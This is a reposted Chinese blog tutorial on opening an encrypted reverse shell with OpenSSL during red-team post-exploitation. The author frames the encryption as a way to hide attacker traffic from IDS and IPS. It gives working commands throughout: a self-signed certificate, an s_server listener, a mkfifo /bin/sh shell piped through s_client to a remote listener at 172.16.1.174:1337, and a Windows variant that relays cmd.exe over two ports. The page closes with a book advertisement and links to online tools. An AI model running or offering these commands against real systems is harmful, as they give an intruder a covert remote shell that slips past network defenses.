Reverse Encrypted Shell With OpenSSL

栏目: 服务器 · 发布时间: 5年前

内容简介:在进行红队渗透测试的后渗透阶段为了进一步横行渗透往往需要反弹 shell,我们使用 nc 反弹 shell 进行测试

目录

  • 使用 OpenSSL 生成证书自签名证书
  • 使用 OpenSSL 反弹加密 shell
  • 使用 OpenSSL 搭建简易 HTTPS Server

前言

在进行红队渗透测试的后渗透阶段为了进一步横行渗透往往需要反弹 shell, 这里 列出了使用各种语言进行反弹 shell 的方法,我发现这种反弹 shell 方式都有一个缺点,那就是 所有的流量都是明文传输的

我们使用 nc 反弹 shell 进行测试

Reverse Encrypted Shell With OpenSSL

使用 wireshark 可以直接看到我们执行的命令和返回信息

Reverse Encrypted Shell With OpenSSL Reverse Encrypted Shell With OpenSSL Reverse Encrypted Shell With OpenSSL

在这种情况下当我们进行操作时,网络防御检测系统(IDS、IPS等)会获取到我们的通信内容并进行告警和阻止,因此需要对通信内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密 shell。

OpenSSL 简介

在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份

利用 OpenSSL 反弹 shell 之前需要生成自签名证书

使用 OpenSSL 生成证书自签名证书

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车

Reverse Encrypted Shell With OpenSSL

使用 OpenSSL 反弹加密 shell

Linux

假设我们从 A 主机反弹 shell 到 B 主机

------------------                  ----------------------
| A:172.16.1.175 |  --- shell ---> | B:172.16.1.174:1337 |
------------------                  ----------------------

首先需用利用上一步生成的自签名证书,在 B 主机上使用 OpenSSL 监听一个端口,在这里使用 1337 端口

命令为:

openssl s_server -quiet -key key.pem -cert cert.pem -port 1337

此时 OpenSSL 在 1337 端口上启动了一个 SSL/TLS server

这时在 B 主机进行反弹 shell 操作,命令为:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s

这样就使用 OpenSSL 反弹了一个加密的 shell

效果如下:

Reverse Encrypted Shell With OpenSSL

使用 wireshark 抓包可以看到,A 和 B 主机之间在使用 TLS1.2 协议进行加密通信

Reverse Encrypted Shell With OpenSSL

Windows

在 Windows 系统上反弹加密 shell 的方式有点不一样

具体命令如下:

openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

以上命令会从 [ip]:[port1] 获取命令发送给 cmd.exe 执行,然后把结果返回到 [ip]:[port2]

因此在本机需要启动两个 s_server

port1 发送命令到 cmd

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port1]

port2 获取发送给 port1 的命令执行结果

openssl s_server -quiet -key [keyfile] -cert [cert] -port [port2]

OpenSSL 还有很多功能, 这里 详细的列出了 OpenSSL 的常见使用方法

在渗透测试时,还可以使用 OpenSSL 搭建简易 HTTPS Server

使用 OpenSSL 搭建简易 HTTPS Server

使用以下命令前需要使用 OpenSSL 生成证书自签名证书,命令在上文中已给出

openssl s_server -key key.pem -cert cert.pem -accept 44330 -WWW

以上命令在 44330 端口启动了一个 HTTPS Server

Reverse Encrypted Shell With OpenSSL

参考链接


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

软件框架设计的艺术

软件框架设计的艺术

[捷] Jaroslav Tulach / 王磊、朱兴 / 人民邮电出版社 / 2011-3 / 75.00元

本书帮助你解决API 设计方面的问题,共分3 个部分,分别指出学习API 设计是需要进行科学的训练的、Java 语言在设计方面的理论及设计和维护API 时的常见情况,并提供了各种技巧来解决相应的问题。 本书作者是NetBeans 的创始人,也是NetBeans 项目最初的架构师。相信在API 设计中遇到问题时,本书将不可或缺。 本书适用于软件设计人员阅读。一起来看看 《软件框架设计的艺术》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

MD5 加密
MD5 加密

MD5 加密工具

html转js在线工具
html转js在线工具

html转js在线工具